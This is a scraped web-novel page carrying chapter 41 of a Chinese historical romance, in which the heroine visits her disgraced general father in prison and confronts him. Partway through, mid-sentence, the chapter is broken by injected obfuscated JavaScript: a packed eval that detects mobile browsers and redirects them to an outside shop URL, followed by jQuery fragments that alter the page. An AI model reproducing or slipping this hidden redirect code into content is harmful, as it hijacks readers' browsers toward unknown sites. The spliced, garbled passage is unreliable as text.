默认冷灰
24号文字
方正启体

41. 第 41 章

作者:桃舟赴川本书字数:K更新时间:
    镇远将军里通外敌之事,如惊雷般炸响整个都城,人人哗然。


    谁也未曾料到,陆定安这些年积累的军功,有许多是靠着与敌国将领私下互换战功得来的。


    陆定安暗中与敌将私定协议,先是让对方在战场上假意败退,自己则残害边境平民,割下首级冒充敌兵,以此伪造歼敌的实证。


    另一边又在战场故意佯装败退,让敌军顺利收复失地。双方各自按约上报战功,彼此互为佐证,将虚功坐实。


    这样久了,军中不少将领也觉察出了不对劲,但陆定安手段狠戾,但凡敢生疑的都会遭到他百般打压。


    此次他将封赏名单交出之后,原先本就有疑虑和对陆定安不满的将领更是怨气深重,只是他们虽然手中捏着一些散碎证据,但并不敢轻举妄动。


    萧凛派人将这些人手中的证据收集起来交给了三皇子,这才将陆定安定了罪。


    年关将至出了这等大事,都城中的官员人人自危。谁都心知肚明,储位之争已然拉开序幕,这般风口浪尖上,没人敢多置一词。


    陆定安一案归刑部主审,刑部却夹在中间进退维谷,虽然手握陆定安的罪证铁证,却迟迟不敢轻举妄动。


    另一边,那几位出面指证的将领,竟接连在军中突生意外,或坠马重伤,或遭逢不测,个个都卧病在床,昏迷不醒。


    平王府内。


    管事带着一众仆役正忙前忙后,皆是为筹办年节事宜奔波,府中处处透着岁末的忙碌。


    恰逢萧凛复明,平王府上下更是喜上加喜,人人喜气洋洋地张罗年节布置,还购置了不少烟花,等着过年的时候燃放。


    陆书窈也凑着热闹,和橘绿一同跟着一众小丫鬟在正厅中学编福字结,说是各处门楣、车辕之上,都要悬上这讨喜的结饰添福。


    这几日她曾问过萧凛,陆定安一案的进展。只是眼下不少人证折损,怕是要拖一阵子才能再查个水落石出。


    萧凛只当她是急着向那不配为人父的陆定安讨回公道,唯有她自己心里清楚,一旦陆定安的事尘埃落定,她便再无留在这里的理由。


    萧凛如今待她纵是千依百顺,骨子里却仍藏着想要掌控她的心思,这样的日子,她终究是无法接受的。


    她心不在焉地编着手中的福字结,指尖红绳绕来绕去成了一团乱。正觉得烦躁时,忽觉腰间被拢住。回头时才发觉,萧凛正伏在她身后,将下巴轻抵在她肩头,气息温温地拂在耳畔。


    “我此前竟不知道你这般心灵手巧。”萧凛轻声道。


    一旁的小丫鬟们瞧着这场景,都识趣地捧着各自编好的东西悄悄告退,偌大的正厅里,转瞬便只剩他们二人。


    陆书窈低头望着手中那团缠得乱糟糟、半点福字结模样都无的红绳,只觉他这话是打趣嘲讽。她索性将那团红绳往他手边一递:“你既觉得好,便送你了。”


    她原以为他顶多随手接过笑两句,没曾想他竟然珍而重之地揣进了衣襟里。


    “成婚前我让谢宁打探过你的底细,他说你是大家闺秀,刺绣女工样样精通。前些日子我还想过,你或许会亲手做些物件送我,譬如男子常带的荷包、璎珞之类,倒没想到头一回收到的,是这么个结。”


    萧凛这话听着带几分委屈,但面上却是一片欢喜,将她往怀里紧了紧,温声续道:“不过也罢,听说绣荷包那些最是费眼,还容易扎破手,是你送的东西就好,我都喜欢。”


    “好了好了,该敷药了,这次是最后一次了。”陆书窈从他的怀中挣开,连忙转移了话题。


    萧凛等她将药取来,而后安坐椅上,轻轻阖眸,静等她替自己敷药。


    陆书窈替他涂着药,而后问起陆定安的事。


    “想来定是萧况也动了手脚,我们搜集的证据里,但凡沾了他痕迹的,如今都再难取用。不过我料他此举,未必是真要保下陆定安。”


    陆书窈心中清楚,萧况本就是个极难信人的性子,即便原书里他最终登上帝位,终究也只是孤家寡人。便是陆定安这般始终站在他身侧的人,到头来也难逃被一一清算的下场。


    可眼下陆定安既除不得,怕是要在牢中耗上三年五载,她万万等不起。况且若萧凛真应了原书的结局,落得个满门抄斩的下场,她终究也难逃陪葬的命运。


    “毕竟父女一场,能让我与他见一面吗?”陆书窈踟蹰了半晌,说道。


    她有一个想法,亟需得到验证。


    萧凛很快便为她寻了个见陆定安的机会。


    关押陆定安的地方,是都城府衙大牢最深处的监牢。她循着石阶一路往下,数不清踏过多少级,才终于到了那间监牢门前。


    萧凛本想陪她一同过去,却被她轻轻摇头回绝。他只得反复叮嘱她当心,自己在外面等她出来。


    陆书窈接过萧凛递来的灯笼,另一只手提着食盒,缓步走到牢门前。昏暗中,只见黑洞洞的牢房里,一人侧身蜷在堆稻草上,周遭空气里满是潮湿发霉的腥腐气,呛得人鼻间发涩。


    她脚步放得极轻,却分明察觉稻草堆里的陆定安已然听见,身子微微一动,却始终不肯转头看来。


    “我没什么好说的,你们这些狗东西,等我出去了之后,便会挨个收拾你们。”陆定安依旧蜷在稻草里,声音沙哑,带着未散的戾气。


    显然是把她当做每日都来的狱卒了。


    “是我。”陆书窈冷冷说道。


    纵使陆定安再混账,也断断辨得清亲女儿的声音。他猛地起身转头,看清来人是陆书窈,只冷冷哼了一声,抬手便示意她将食盒递过去。


    陆书窈将食盒搁在地上,陆定安当即伸手掀开盒盖。里头摆着的几样酒菜,让吃了半个多月残羹冷炙的他眼中骤然发亮,转瞬却又斜睨了陆书窈一眼。


    “放心吧,我不至于在此时对你下毒。”


    陆定安想了想确实也


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133433|192791||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是,便伸手从牢房的栏杆里伸出手来,将酒菜一点点拿了进去。


    “你来这干什么?”陆定安嘴里嚼着菜,嘴里含糊不清地说道。


    “我是来看你落得什么下场的。”


    陆定安抬眼,嘴角扯出一抹阴冷的笑:“下场?我能有什么下场?多少人叫嚣着要取我性命,到头来还不是动我不得?我自有我的价值在,等我出去那日,你和萧凛,一个都活不成。”


    “可你出不去了。”陆书窈漠然瞧着陆定安,脸上露出一抹笑容。


    “你在城郊有处私宅,里头藏着些见不得人的东西。你说,我若是把这些事捅出去,你还能不能有机会走出这大牢?”


    陆书窈淡淡说道,一双眼睛牢牢盯着陆定安的表情。


    陆定安脸色大变,胡乱吞下嘴里的酒菜,上前抓住牢房的栏杆,恨不得探出头来怼在陆书窈面前。


    “你怎么知道的?我明明谁也没告诉!”


    陆书窈瞧他双目陡然瞪圆,便知自己的猜测没错。


    原书中,萧况最后除掉陆定安,用的正是这桩罪名。他在城郊那处私宅里,竟私建了与帝王规制无二的卧房,甚至暗中私制明黄色衣袍,私下穿戴。


    这般僭越之罪,向来可大可小。


    若皇帝宽宥,往轻了论,不过是心存不敬、逾矩妄为,凭他往日些许功勋,未必不会法外施恩、板子高高举起轻轻落下;可如今他既已身担里通外敌的重罪,这般逾矩之举便成了谋逆的铁证,罪名一旦坐实,便再无半分转圜余地。


    陆定安死死握着牢房的栏杆晃动着,嘶吼着想要伸手出来抓住陆书窈,却被她向后退了两步,冷冷地瞧着。


    “早知道你是这等狼心狗肺的东西,我就该杀了你!直接把你摔死在地上!我白养了你十八年,你竟这般反噬我!”


    “我是狼心狗肺的东西,也是你这个当爹的养出来的。”陆书窈冷冷地看着他:“我被陆书云、陆书铭百般欺辱时,你在哪?寒冬里被克扣炭火,冻得彻夜发抖时,你在哪?被陷害触犯家规,被鞭打的遍体鳞伤时,你在哪?我险些被陆书铭勾结外人毁了清白时,你又在哪?”


    陆书窈死死盯着陆定安,将原身受过的所有委屈都说了出来。


    “哦,我倒忘了。唯有陆书云不愿嫁萧凛时,你才想起我这个女儿,却半分没问过我愿不愿意。事后竟还逼我喝红花,想让我此生再无生育可能,甚至逼我去构陷萧凛!”


    陆书窈的声音微微有些变调,她深深地共情了和自己曾经用着同一具躯体的原主,望着眼前这个不称职却还振振有词的人,只觉他枉为人父。


    “强词夺理!强词夺理!你这个白眼狼,和你娘那个贱人一样!”


    陆定安嘶吼着,双手狠狠摇撼着栏杆,将其晃得叮当乱响,眼底布满猩红的血丝,状若疯魔。陆书窈看着他这副模样,毫不怀疑,若是此刻他能冲出来,定要将自己撕成碎片。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)